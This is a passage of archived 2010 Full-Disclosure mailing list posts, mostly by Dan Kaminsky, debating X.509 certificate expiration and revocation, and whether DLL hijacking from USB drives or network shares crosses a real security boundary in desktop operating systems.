\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/350", "subject": "Re: Expired certificate", "index_author": "Dan Kaminsky (Jul 24)", "frm": "Dan Kaminsky ", "date": "Sat, 24 Jul 2010 19:10:24 -0400", "body_html": "\n
People may neglect to revoke certificates that have become invalid (e.g.\na personal certificate for someone who has deceased).\n\n
\n\nAnd what do you think is doing revocation checking?\n\nHint:  Even fewer things than are doing chain validation.\n\nThe problem is a conflict between security and convenience.\n
\n\n
\n\nThe problem is that we assume that security doesn't have to be convenient.\n\n\n
\n\nIronically, online communication allows a rather elegant solution: you can\nhave a hierarchy of certificates starting with short-lived certs for\nroutine operation issued online by the lowest level of intermediate CAs\nwith each level offering less automation to reduce exposure and longer\nlifetimes to make up for lost convenience.\n\n
\n\nIntermediate certs?  You mean those god-mode can-sign-anything certs that\nare sold for a pile of money, a wink, and a smile?\n\n\n
\n\nUnfortunately, this approach (while being quite feasible from the\ntechnical POV) appears to be incompatible with the business model of\nexisting CAs.\n\n
\n\nEveryone loves blaming the business guys.  Nope.  When it comes to X.509, we\nnerds blew it.If you have got 500 servers that need renewed certificates\nthen you have.\n\ngot 500 server that need patches installed, not to mention other routine\n
admin tasks. If you need 8 man hours per server to renew one certificate,\nhow many man hours per server do you need to deploy one patch?\n\n
\n\nWindows Update / BigFix, move on with your life.\n\n\nMany (if not most) CAs let you renew a certificate two or three months\n
before its expiration and give you the remaining time back. One who needs\nto renew one certificate every other day can do it once in 2 or 3 months\nin batches of up to 30 or 45 renewals without losing anything.\n\n
\n\nOr, you could just have a small handful of servers with keys and leave the\nrest without.  Which is precisely what we see.\n\nSee, here's the problem:  You're all talking about what *could* be the\ncase.  I'm telling what *is* the case.  Expiration is one of a number of\nserious and genuinely unique operational hazards in X.509.  We started this\nconversation discussing the situation of a CA gov operator who hadn't rolled\ntheir certs.  Some people were surprised.\n\nThe reality is, it's amazing there was a cert at all.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/351", "subject": "Re: Expired certificate", "index_author": "Dan Kaminsky (Jul 24)", "frm": "Dan Kaminsky ", "date": "Sat, 24 Jul 2010 19:11:17 -0400", "body_html": "\n
Unfortunately, this approach (while being quite feasible from the\n
technical POV) appears to be incompatible with the business model of\nexisting CAs.\n\n
\n\nEveryone loves blaming the business guys.  Nope.  When it comes to X.509,\nwe nerds blew it.If you have got 500 servers that need renewed certificates\nthen you have.\n\n...(alot of work ahead of you.)\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/357", "subject": "Re: Expired certificate", "index_author": "Dan Kaminsky (Jul 25)", "frm": "Dan Kaminsky ", "date": "Sun, 25 Jul 2010 20:24:38 -0400", "body_html": "\n
On 7/25/2010 4:59 PM, Pavel Kankovsky wrote:\n
On Sat, 24 Jul 2010, Dan Kaminsky wrote:\n\n
And what do you think is doing revocation checking?\nHint:  Even fewer things than are doing chain validation.\n
\n\nSo... no one is doing revocation checking and expiration is evil.\nHow are we supposed to get rid of invalid certificates?\n
\n\nAsk me that in a few days ;)\n\n
The problem is that we assume that security doesn't have to be convenient.\n
\n\nLet me paraphrase one famous sentence: security should be made as\nconvenient as possible but not more convenient.\n
\n\nThis is a great formulation, actually.\n\n
Intermediate certs?  You mean those god-mode can-sign-anything certs\nthat are sold for a pile of money, a wink, and a smile?\n
\n\nNo. See RFC 3280 Internet X.509 Public Key Infrastructure, section\n4.2.1.11 Name Constraints. Any PKIX-compliant application must recognize\nthis extension.\n
\n\nSo nobody will sell you a name constrained certificate.  It's almost\nlike there are serious implementation issues with the extension in the\nfield.\n\n
Everyone loves blaming the business guys.  Nope.  When it comes to\nX.509, we nerds blew it.\n
\n\n"We blew" it in the sense that X.509 is designed for a strictly\nhierarchical bureaucratic environment, not for an open world where\ncommercial CAs are supposed to compete within a shared namespace.\n
\n\nAbsolutely correct.  Whatever world X.509 is great for, it sure ain't\nthis one.\n\n
yet it allows large-scale deployment of patches without any meetings,\nplanning, testing, and validation? You must be kidding.\n
\n\nPatch management involves the same thing being put on different hosts,\nand there's really no choice -- you can't run an infrastructure without\nmaintaining it, on some timescale anyway.\n\nCertificate management involves different things being put on different\nhosts, and there's totally a choice -- you can simply not have a\ncertificate at all.\n\nThere's definitely some overlap.  But remember, in the field, the data\nis not subtle:  Certificates are deployed through gritted teeth.\n\n
You should decide whether you want to blame X.509 itself or a \nparticular way it is used.\n
\n\nTo paraphrase another quote, "X.509 never fails, only X.509 deployers."\n\nThe funny thing is, I've met a decent number of the actual authors of\nX.509.  They're uniformly brilliant.  Maybe it's like that old Star Trek\npilot...super advanced aliens heal humans who've crash landed on their\nplanet, but they didn't exactly have a guide to what they were supposed\nto do...\n\n
\n\n
Expiration is one of a number of serious and genuinely unique\noperational hazards in X.509.\n
\n\nWhen you fail to pay your electric bill every month, they will cut\nyour power supply. All your computers will stop working. Is it a \n"genuinely unique operational hazard" too? ;)\n
\n\nYou know, it's strange.  I never hear stories about networks being taken\ndown for nonpayment of electric bills, but we have straight up UI\nsupport for certificate errors.  Why do you think that is?\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/326", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 26)", "frm": "Dan Kaminsky ", "date": "Thu, 26 Aug 2010 16:06:19 -0400", "body_html": "\n
On Thu, Aug 26, 2010 at 3:53 PM, matt <matt () attackvector org> wrote:\n\n
Hey guys..\n\nHere's an example the DLL hijacking attack using a USB drive with autorun.\n I haven't seen this done yet, so I figured I'd post it.\n\nhttp://www.attackvector.org/autorun-dll-hijacker-usb-stick/\n\n\n
Sure, but you have the same problem most of the other DLL hijacking exploits\nhave:\n\nThere's no security boundary that says that what appears to be a .ppt,\nactually is one.  The attacker controls both the icon and the filename.\nThat's the case from a network share, that's the case from a USB mount,\nthat's just the way it is.\n\nHere's the larger picture:\n\nThese are unusually interesting findings.  On the one hand, you have\narbitrary code execution, generally the gold standard for vulnerability.  On\nthe other hand, operating systems *by definition* execute arbitrary code\nThe question is whether they're supposed to execute code in this particular\ncontext.\n\nThe answer is not actually obvious.\n\nThe specific boundary at play seems to be the document boundary.  There are\nvery popular file formats that we'd like to be able to read and view,\nwithout running any embedded code inside -- powerpoint files, for instance.\nIn the proposed scenario, the user has double clicked a file from a remote\nshare.\n\nCalc pops up.  Clearly a vuln, right?\n\nHere's the problem:  How could this boundary ever be maintained?  The user\nhas no actual way of knowing that the file he's clicking on is, in fact, a\nPowerPoint document in the first place.  It could just as easily be a .exe,\nfaking its icon.  And every major operating system has been hiding file\nextensions for years.\n\nWorse, even if extension weren't hidden, its not like applications have any\nsort of "safety contract" when executed from the desktop.  Some formats have\nvery clear mandates, inherited from being trafficked via email.  Others are\noutright scripting languages and are fundamentally designed to execute\narbitrary code.\n\nThe web has developed a very clear security model:  If you can parse it zero\nclick from a web site, it's required to stay within the browser sandbox.\nThe desktop has no such model -- some formats are 'safe', others aren't.\n\nThere was some talk about whether PSD was "vulnerable" to this flaw.  The\ncomplexity comes from the fact that, for all we know, opening a PSD file\nexecutes arbitrary scripts by design.  Why shouldn't it?  Not everything is\na web browser.\n\nSo, it's not that this is a weak bug or a massive bug.  It's a\ncharacteristic, that has managed to make the otherwise unambiguous proof of\nconcept -- popping calc -- ambiguously problematic.  That's actually\nimpressive, if a bit meta.\n\nWe'll probably see some unambiguous attacks pop up, but they haven't yet.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/403", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 30)", "frm": "Dan Kaminsky ", "date": "Mon, 30 Aug 2010 17:52:27 -0400", "body_html": "\n
On Mon, Aug 30, 2010 at 11:45 AM, Pavel Kankovsky <\npeak () argo troja mff cuni cz> wrote:\n\n
On Thu, 26 Aug 2010, Dan Kaminsky wrote:\n\n
The question is whether they're supposed to execute code in this\nparticular context.\n
\n\nI think the question ought to be: what authority and privileges shall be\ngranted to the code when it is executed?\n\n
\n\nYeah, and the thing about all of the desktop shells (Explorer, Finder, etc)\nis that they're all just as happy to open a Word Document with winword.exe,\nas they are to open winword.exe (or something else with that name) itself.\nIn other words, the security model is that authority and privileges are the\nexpansive set that is full code execution as that user.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/336", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 26)", "frm": "Dan Kaminsky ", "date": "Thu, 26 Aug 2010 20:39:04 -0700", "body_html": "\n
\n\n\n\n\nOn Aug 26, 2010, at 7:53 PM, Larry Seltzer <larry () larryseltzer com>  \nwrote:\n\n
Instead of it executing "wab.exe (Windows Address Book) and open the\nfile test.vcf", one can directly get any .exe file open.\n
\n\nUsers have shown themselves very willing to open up test.vcf.exe.\n\n
\n\nOr for that matter, test, which is actually an exe with the icon of a  \nvcf.  Thus the problem with all this chortling about foolish  \napplications:  the desktop simply does not possess the security model  \nof the browser or the email client.\n\nThere may very well be a legitimate boundary cross from this DLL  \nstuff, but we haven't seen it yet. All the present stuff has the  \nindelible mark of a false boundary, in that no fix can be imagined  \nthat actually closes the vector.\n\n
LJS\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/338", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 26)", "frm": "Dan Kaminsky ", "date": "Thu, 26 Aug 2010 21:41:51 -0700", "body_html": "\n
\n\n\n\n\nOn Aug 26, 2010, at 9:30 PM, paul.szabo () sydney edu au wrote:\n\n
Dan Kaminsky <dan () doxpara com> wrote:\n\n
Instead of it executing "wab.exe (Windows Address Book) and open  \nthe\nfile test.vcf", one can directly get any .exe file open.\n
\n\nUsers have shown themselves very willing to open up test.vcf.exe.\n
\n\nOr for that matter, test, which is actually an exe with the icon of a\nvcf.  Thus the problem with all this chortling about foolish\napplications:  the desktop simply does not possess the security model\nof the browser or the email client.\n
\n\nBadly setup desktops: do not "hide extensions", maybe view details (or\nlist) not icons.\n
\n\n\nAll that matters is defaults, and icons are way more powerful signals  \nthan a couple of letters at the end of "2010 Market  \nProjections.ppt.exe' anyway.\n\nThe web browser and the email client are not designed to launch  \narbitrary code. The desktop, with the slight caveat of Standard User  \nvs. Administrator, simply is.\n\n
Cheers, Paul\n\nPaul Szabo   psz () maths usyd edu au   http://www.maths.usyd.edu.au/u/psz/\nSchool of Mathematics and Statistics   University of Sydney     \nAustralia\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/341", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 26)", "frm": "Dan Kaminsky ", "date": "Fri, 27 Aug 2010 01:18:48 -0400", "body_html": "\n
On Fri, Aug 27, 2010 at 1:06 AM, <paul.szabo () sydney edu au> wrote:\n\n
Dan Kaminsky <dan () doxpara com> wrote:\n\n
Badly setup desktops: do not "hide extensions", maybe view details\n(or list) not icons.\n
\n\nAll that matters is defaults, and icons are way more powerful ...\n
\n\nThose defaults are wrong, change them. Anyway, icons are shown\nwith "view details".\n\n
\n\nI think you mean application types are shown with "view details".  The\nproblem is, there's a couple dozen application types that are all code\nexecution equivalent by design.  Do you know all of them?  Why should a\nuser?\n\n\n\n
\n\n
The web browser and the email client are not designed to launch\narbitrary code. The desktop ... is.\n
\n\nThis attack may happen through the browser (UNC paths or somesuch).\nAny talk about USB sticks or desktops is bogus.\n\n\n
There's no path between IE and a UNC window that doesn't either security\nprompt or raise an unadorned Explorer window to a remote share.  I could see\nan argument that the latter should prompt, given that it's a (by definition)\ncode execution context.  But that's about it.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/342", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 26)", "frm": "Dan Kaminsky ", "date": "Fri, 27 Aug 2010 01:29:32 -0400", "body_html": "\n
On Fri, Aug 27, 2010 at 1:05 AM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Thu, 26 Aug 2010 20:39:04 PDT, Dan Kaminsky said:\n\n
There may very well be a legitimate boundary cross from this DLL\nstuff, but we haven't seen it yet. All the present stuff has the\nindelible mark of a false boundary, in that no fix can be imagined\nthat actually closes the vector.\n
\n\nOh you're wrong there Dan.  I can imagine fixes that would close the\nvector (starting with fixes that impose a legitimate enforcable boundary).\n\nFixes that will be accepted by Joe Sixpack? I think we saw where UAC ended\nup. :)\n\n
\n\nHehe.  You start with the beginnings of imagining a fix.  Here, you say 'the\ndesktop will be aware of when it is launching content safe for viewing, vs.\ndangerous, and will behave differently'.  Eventually you realize:\n\n1) You have to build this database\n2) You have to maintain this database, even in the face of third party apps\nadding handlers\n3) You have to determine what the differential behavior is going to be on a\nsafe vs. unsafe type\n\nAnd it's in the middle of 3) that you end up...well...where UAC ended up :)\n\nAgain, let me emphasize.  Really interesting vector, will probably end up\nattached to an unambiguous flaw.  But right now, we're just seeing flaws\nalong the lines of "Double clicking an icon in Explorer might execute\narbitrary code".  It doesn't matter that that's true even if there's a\nnetwork share, or a USB stick.  That's what Explorer *does*.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/344", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 26)", "frm": "Dan Kaminsky ", "date": "Fri, 27 Aug 2010 02:12:12 -0400", "body_html": "\n
On Fri, Aug 27, 2010 at 1:51 AM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Fri, 27 Aug 2010 01:29:32 EDT, Dan Kaminsky said:\n\n
Again, let me emphasize.  Really interesting vector, will probably end up\nattached to an unambiguous flaw.  But right now, we're just seeing flaws\nalong the lines of "Double clicking an icon in Explorer might execute\narbitrary code".  It doesn't matter that that's true even if there's a\nnetwork share, or a USB stick.  That's what Explorer *does*.\n
\n\nAnd as I said, a fix that starts off with "First thing we do is feed\nExplorer\nto a pack of hungry dingos" won't fly with Joe Sixpack. ;)\n\n
\n\nEh, no sense being so specific.  I'm sure the same sort of type confusion\ntricks are possible in Finder, GNOME, KDE, etc.  Desktops run arbitrary\ncode.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/351", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 27)", "frm": "Dan Kaminsky ", "date": "Fri, 27 Aug 2010 10:13:21 -0400", "body_html": "\n
On Fri, Aug 27, 2010 at 9:10 AM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Fri, 27 Aug 2010 07:20:22 EDT, Larry Seltzer said:\n\n
Why wouldn't eliminating the CWD from the DLL search order fix the\n
problem?\n
I asked Microsoft about this (\n\n
http://blogs.pcmag.com/securitywatch/2010/08/list_of_dll_vulnerability_wind.php\n)\n
and they said the obvious answer, that it would break too many customer\ninstallations. And I guess it would break a bunch of them, but there\n
really\n
isn't a good reason for anyone to load a DLL from the CWD, is there?\n
\n\nThe mentality that "Our program only works with version 1.14 of the DLL so\nwe'll ship a copy of it in the directory" is too entrenched.  That's why\nyou'll\nsee a box that has 4 or 5 different copies of the Java RTE on it.  Of\ncourse,\non a *sane* system you'd use a variable like LD_LIBRARY_PATH to say where\nto\nfind the libraries (and maybe apply some W^X exclusion to path components).\nBut there's just too many 3rd party packages that would have to be updated\nto\nmake it palatable.\n\n
\n\nAs opposed to other platforms that, what, don't have 3rd party packages?  :)\n\n\n
\n\nRemember - Microsoft doesn't have any real committment to deliver a truly\nsecure system to you. It has a committment to deliver just enough security\nand other features so it can deliver dollars to its shareholders.  We all\n*know*\nwhat it would take to secure it - and it won't happen because the resulting\nparadidm shits will torpedo sales.\n\n
\n\nOh, come on.  MS puts more effort into delivering a secure platform than\npretty much anyone at this point.  They're just not the low hanging fruit\nthey once were.\n\nThe difference between attack and defense is that we know when attack\ndoesn't work.  Unrolling this one characteristic pretty much yields security\nas it stands today.  It's why attack research is so important -- it's our\nonly source of ground truth!\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/353", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 27)", "frm": "Dan Kaminsky ", "date": "Fri, 27 Aug 2010 10:08:08 -0400", "body_html": "\n
h0h0h0.  There be history, Larry.\n\nShort version:  Go see how many DLLs exist outside of c:\\windows\\system32.\nLook, ye mighty, and despair when you realize all those apps would be broken\nby CWD DLL blocking.\n\nLonger version:\n\nUnix has always had the tradition of a system administrator.  When it went\nconsumer, it went straight to package management -- something it could do,\nbecause a) there just aren't that many apps and b) they're mostly open\nsource, so distros can legally fix things up.\n\nWindows comes from a different direction:  Many, many consumer facing apps,\nvery few of them open source, users installing for themselves, no package\nmanager.  Among other things, this introduces the concept of:\n\nWhich DLLs should you load?\n\nSuppose you have ten applications, each using foo.dll.  Should they all use\nfoo.dll from c:\\windows\\system32?  Maybe, maybe not.  There are many\npossible versions that might be in there, and they might or might not work.\n\nYou can push your version of foo.dll into c:\\windows\\system32.  Great,\nyou'll work fine, but there's nine other apps you might break.\n\nYou can use a local foo.dll.  Now you can have your lib and they can have\ntheirs.\n\nWelcome to DLL hell.\n\nThere's been a lot of work in fixing this situation, but not from the\nsecurity perspective.  I know we're masters of righteous indignation, but I\nhave to emphasize -- while there's probably an actual vuln somewhere using\nthis methodology, nothing's been found yet.  Changing something with only a\ntenuous link to security, with such a massive impact on whether applications\nrun or not?  Yeah, not exactly surprised it's still there.\n\n\nOn Fri, Aug 27, 2010 at 7:20 AM, Larry Seltzer <larry () larryseltzer com>wrote:\n\n
 Clearly desktops need to be able to run arbitrary code. That\u00e2\u0080\u0099s what\nthey\u00e2\u0080\u0099re there for.\n\n\n\nWhy wouldn\u00e2\u0080\u0099t eliminating the CWD from the DLL search order fix the problem?\nI asked Microsoft about this (\nhttp://blogs.pcmag.com/securitywatch/2010/08/list_of_dll_vulnerability_wind.php)\nand they said the obvious answer, that it would break too many customer\ninstallations. And I guess it would break a bunch of them, but there really\nisn\u00e2\u0080\u0099t a good reason for anyone to load a DLL from the CWD, is there?\n\n\n\nI think they dropped the ball on this at Vista time. They made so many\nother changes for security reasons then that forced users and developers to\nchange practice that this one wouldn\u00e2\u0080\u0099t have been such a big stink. And\nthey\u00e2\u0080\u0099ve known about the basic problem for 10 years (and should have known\nearlier, since it was a UNIX attack beforehand).\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/352", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 27)", "frm": "Dan Kaminsky ", "date": "Fri, 27 Aug 2010 10:19:29 -0400", "body_html": "\n
Well, if I pull out the crystal ball, I see two possibilities:\n\n1) Patch goes out, implementing this policy\n2) 1% of customers go dark\n3) That's a WHOLE BUNCH OF CUSTOMERS WHO DISABLE WINDOWS UPDATE\n\n1) Patch goes out, off by default\n2) 0% of customers turn it on\n3) That's a MEANINGLESS REGISTRY ENTRY THAT COST A BUNCH OF MONEY TO WRITE\n\nNeither look exactly appetizing, and it's not like we (yet) have a clear\nvulnerability that needs to be addressed.\n\nOn Fri, Aug 27, 2010 at 10:14 AM, Larry Seltzer <larry () larryseltzer com>wrote:\n\n
 #1 in the DLL search list is the directory from which the program was\nloaded. How can you have a scenario where CWD is a better choice than that?\nWhy would it be a good choice DLL sharing?\n\n\n\nHere\u00e2\u0080\u0099s another possibility for a Microsoft action. Add a search location\n1.5 specified by the application to Windows. If all the Office apps are\nsharing DLLs they can put their apps in Office/sharedDLLs and point to it.\nAt least we could move forward from here. Microsoft\u00e2\u0080\u0099s choice here dooms us\nto this problem for the forseeable future.\n\n\n\n*From:* Dan Kaminsky [mailto:dan () doxpara com]\n*Sent:* Friday, August 27, 2010 10:08 AM\n*To:* Larry Seltzer\n*Cc:* Valdis.Kletnieks () vt edu; full-disclosure () lists grok org uk\n\n*Subject:* Re: [Full-disclosure] DLL hijacking with Autorun on a USB drive\n\n\n\nh0h0h0.  There be history, Larry.\n\n\nShort version:  Go see how many DLLs exist outside of c:\\windows\\system32.\nLook, ye mighty, and despair when you realize all those apps would be broken\nby CWD DLL blocking.\n\nLonger version:\n\nUnix has always had the tradition of a system administrator.  When it went\nconsumer, it went straight to package management -- something it could do,\nbecause a) there just aren't that many apps and b) they're mostly open\nsource, so distros can legally fix things up.\n\nWindows comes from a different direction:  Many, many consumer facing apps,\nvery few of them open source, users installing for themselves, no package\nmanager.  Among other things, this introduces the concept of:\n\nWhich DLLs should you load?\n\nSuppose you have ten applications, each using foo.dll.  Should they all use\nfoo.dll from c:\\windows\\system32?  Maybe, maybe not.  There are many\npossible versions that might be in there, and they might or might not work.\n\nYou can push your version of foo.dll into c:\\windows\\system32.  Great,\nyou'll work fine, but there's nine other apps you might break.\n\nYou can use a local foo.dll.  Now you can have your lib and they can have\ntheirs.\n\nWelcome to DLL hell.\n\nThere's been a lot of work in fixing this situation, but not from the\nsecurity perspective.  I know we're masters of righteous indignation, but I\nhave to emphasize -- while there's probably an actual vuln somewhere using\nthis methodology, nothing's been found yet.  Changing something with only a\ntenuous link to security, with such a massive impact on whether applications\nrun or not?  Yeah, not exactly surprised it's still there.\n\n On Fri, Aug 27, 2010 at 7:20 AM, Larry Seltzer <larry () larryseltzer com>\nwrote:\n\nClearly desktops need to be able to run arbitrary code. That\u00e2\u0080\u0099s what they\u00e2\u0080\u0099re\nthere for.\n\n\n\nWhy wouldn\u00e2\u0080\u0099t eliminating the CWD from the DLL search order fix the problem?\nI asked Microsoft about this (\nhttp://blogs.pcmag.com/securitywatch/2010/08/list_of_dll_vulnerability_wind.php)\nand they said the obvious answer, that it would break too many customer\ninstallations. And I guess it would break a bunch of them, but there really\nisn\u00e2\u0080\u0099t a good reason for anyone to load a DLL from the CWD, is there?\n\n\n\nI think they dropped the ball on this at Vista time. They made so many\nother changes for security reasons then that forced users and developers to\nchange practice that this one wouldn\u00e2\u0080\u0099t have been such a big stink. And\nthey\u00e2\u0080\u0099ve known about the basic problem for 10 years (and should have known\nearlier, since it was a UNIX attack beforehand).\n\n\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/356", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 27)", "frm": "Dan Kaminsky ", "date": "Fri, 27 Aug 2010 10:50:24 -0400", "body_html": "\n
...up till the moment you realize that the interface doesn't really\ndifferentiate between "2010 Quarterly Projections" as an .exe or as a .ppt.\nDouble clicking in desktop = do whatever it takes to run this, code\nexecution or not.\n\nOn Fri, Aug 27, 2010 at 10:36 AM, Christian Sciberras <uuf6429 () gmail com>wrote:\n\n
"....while there's probably an actual vuln somewhere using this\nmethodology, nothing's been found yet"\n\n\nDo you really think so?\n\nHaving any kind of executable load the first ntoskernel.dll it finds,\nsuch as the innocent one in it's own directory isn't really wise...\n\n\n\n\n\n\nOn Fri, Aug 27, 2010 at 4:19 PM, Dan Kaminsky <dan () doxpara com> wrote:\n
Well, if I pull out the crystal ball, I see two possibilities:\n\n1) Patch goes out, implementing this policy\n2) 1% of customers go dark\n3) That's a WHOLE BUNCH OF CUSTOMERS WHO DISABLE WINDOWS UPDATE\n\n1) Patch goes out, off by default\n2) 0% of customers turn it on\n3) That's a MEANINGLESS REGISTRY ENTRY THAT COST A BUNCH OF MONEY TO\n
WRITE\n
\n\nNeither look exactly appetizing, and it's not like we (yet) have a clear\nvulnerability that needs to be addressed.\n\nOn Fri, Aug 27, 2010 at 10:14 AM, Larry Seltzer <larry () larryseltzer com>\nwrote:\n
\n\n#1 in the DLL search list is the directory from which the program was\nloaded. How can you have a scenario where CWD is a better choice than\n
that?\n
Why would it be a good choice DLL sharing?\n\n\n\nHere\u00e2\u0080\u0099s another possibility for a Microsoft action. Add a search location\n1.5 specified by the application to Windows. If all the Office apps are\nsharing DLLs they can put their apps in Office/sharedDLLs and point to\n
it.\n
At least we could move forward from here. Microsoft\u00e2\u0080\u0099s choice here dooms\n
us\n
to this problem for the forseeable future.\n\n\n\nFrom: Dan Kaminsky [mailto:dan () doxpara com]\nSent: Friday, August 27, 2010 10:08 AM\nTo: Larry Seltzer\nCc: Valdis.Kletnieks () vt edu; full-disclosure () lists grok org uk\nSubject: Re: [Full-disclosure] DLL hijacking with Autorun on a USB drive\n\n\n\nh0h0h0.  There be history, Larry.\n\nShort version:  Go see how many DLLs exist outside of\nc:\\windows\\system32.  Look, ye mighty, and despair when you realize all\nthose apps would be broken by CWD DLL blocking.\n\nLonger version:\n\nUnix has always had the tradition of a system administrator.  When it\n
went\n
consumer, it went straight to package management -- something it could\n
do,\n
because a) there just aren't that many apps and b) they're mostly open\nsource, so distros can legally fix things up.\n\nWindows comes from a different direction:  Many, many consumer facing\napps, very few of them open source, users installing for themselves, no\npackage manager.  Among other things, this introduces the concept of:\n\nWhich DLLs should you load?\n\nSuppose you have ten applications, each using foo.dll.  Should they all\nuse foo.dll from c:\\windows\\system32?  Maybe, maybe not.  There are many\npossible versions that might be in there, and they might or might not\n
work.\n
\n\nYou can push your version of foo.dll into c:\\windows\\system32.  Great,\nyou'll work fine, but there's nine other apps you might break.\n\nYou can use a local foo.dll.  Now you can have your lib and they can\n
have\n
theirs.\n\nWelcome to DLL hell.\n\nThere's been a lot of work in fixing this situation, but not from the\nsecurity perspective.  I know we're masters of righteous indignation,\n
but I\n
have to emphasize -- while there's probably an actual vuln somewhere\n
using\n
this methodology, nothing's been found yet.  Changing something with\n
only a\n
tenuous link to security, with such a massive impact on whether\n
applications\n
run or not?  Yeah, not exactly surprised it's still there.\n\nOn Fri, Aug 27, 2010 at 7:20 AM, Larry Seltzer <larry () larryseltzer com>\nwrote:\n\nClearly desktops need to be able to run arbitrary code. That\u00e2\u0080\u0099s what\nthey\u00e2\u0080\u0099re there for.\n\n\n\nWhy wouldn\u00e2\u0080\u0099t eliminating the CWD from the DLL search order fix the\nproblem? I asked Microsoft about this\n(\n
http://blogs.pcmag.com/securitywatch/2010/08/list_of_dll_vulnerability_wind.php\n)\n
and they said the obvious answer, that it would break too many customer\ninstallations. And I guess it would break a bunch of them, but there\n
really\n
isn\u00e2\u0080\u0099t a good reason for anyone to load a DLL from the CWD, is there?\n\n\n\nI think they dropped the ball on this at Vista time. They made so many\nother changes for security reasons then that forced users and developers\n
to\n
change practice that this one wouldn\u00e2\u0080\u0099t have been such a big stink. And\nthey\u00e2\u0080\u0099ve known about the basic problem for 10 years (and should have\n
known\n
earlier, since it was a UNIX attack beforehand).\n\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/422", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 31)", "frm": "Dan Kaminsky ", "date": "Tue, 31 Aug 2010 14:15:19 -0700", "body_html": "\n
\n\n\n\n\nOn Aug 31, 2010, at 2:01 PM, Charles Morris <cmorris () cs odu edu> wrote:\n\n
\n\n
... Don't run applications from untrusted locations ...\n
\n\nYou got it wrong. Only trusted applications are run. - The attacker\nprepares a WORD.DOC (and a RICHED20.DLL) file in some place. The\nvictim clicks on the WORD.DOC file, using his own installed MSWord.\n\n
